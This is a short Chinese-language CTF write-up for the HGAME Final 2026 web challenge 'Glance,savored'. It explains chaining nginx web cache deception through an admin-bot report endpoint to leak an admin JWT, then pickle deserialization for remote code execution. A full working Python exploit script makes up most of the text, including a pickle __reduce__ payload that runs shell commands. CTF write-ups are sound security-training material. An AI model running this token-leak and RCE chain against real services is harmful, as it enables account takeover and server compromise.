HGAME Final 2026 · WEB Glance,savored

Aouos 发布于 2026-07-24 83 次阅读


这个有点难,deepseek竟然没扫出来,可惜兄弟可惜

1.信息收集?

有啥信息收集呢?没啥信息收集,直接登录guest

然后api文档,测试了一下

然后有个神秘的report位置

2.漏洞利用

其实这里也有提示nginx1.22,然后/api/profile/.css 实际返回 profile JSON,但被 nginx cache 当作静态资源缓存

所以可以想到构造css去欺骗nginx然后获取admin 的jwt,将构造的路径提交给 admin bot 后,bot 带 admin token 访问,响应被缓存

然后访问对应的路径

拿到admin jwt

然后是Pickle 反序列化,这里同样提示python3.11

构造 pickle RCE 执行 cat /flag.txt 读取 flag

先可以构造测试一下简单的验证 /api/data/import 为 pickle 反序列化

然后就去构造rce执行读取

这里直接贴一下完整的payload吧

import requests
import uuid
import time
import base64
import pickle
import subprocess

BASE = "http://forward.vidar.club:32099"
s = requests.Session()

# 1. guest login
r = s.post(
    BASE + "/api/login",
    json={"username": "guest", "password": "guest123"},
    timeout=10,
)
r.raise_for_status()
guest_token = r.json()["token"]
print("[+] guest token:", guest_token)

# 2. create unique cache-leak path
leak_path = f"/api/profile/cacheleak-{uuid.uuid4().hex}.css"
print("[+] leak path:", leak_path)

# 3. submit report, admin bot will visit this path with admin token
r = s.post(
    BASE + "/api/report",
    headers={
        "Authorization": f"Bearer {guest_token}",
        "Content-Type": "application/json",
    },
    json={"url": leak_path},
    timeout=10,
)
print("[+] report:", r.status_code, r.text)

# 4. poll leaked cache without auth
admin_token = None
for i in range(15):
    time.sleep(1)
    r = s.get(BASE + leak_path, timeout=10)
    print("[*] poll", i, r.status_code, r.headers.get("x-cache-status"), r.text[:120])
    if r.status_code == 200 and "admin@datacenter.internal" in r.text:
        admin_token = r.json()["token"]
        break

if not admin_token:
    raise RuntimeError("failed to leak admin token")
print("[+] admin token:", admin_token)

# 5. pickle RCE payload
class RCE:
    def __reduce__(self):
        cmd = ["/bin/sh", "-c", "cat /flag.txt 2>/dev/null || cat /flag 2>/dev/null"]
        return (subprocess.check_output, (cmd,))

payload = base64.b64encode(pickle.dumps(RCE())).decode()

# 6. trigger deserialization as admin
r = s.post(
    BASE + "/api/data/import",
    headers={
        "Authorization": f"Bearer {admin_token}",
        "Content-Type": "application/json",
    },
    json={"data": payload},
    timeout=10,
)
print("[+] import response:")
print(r.text)

然后获取最终flag

全都不会写!
最后更新于 2026-07-24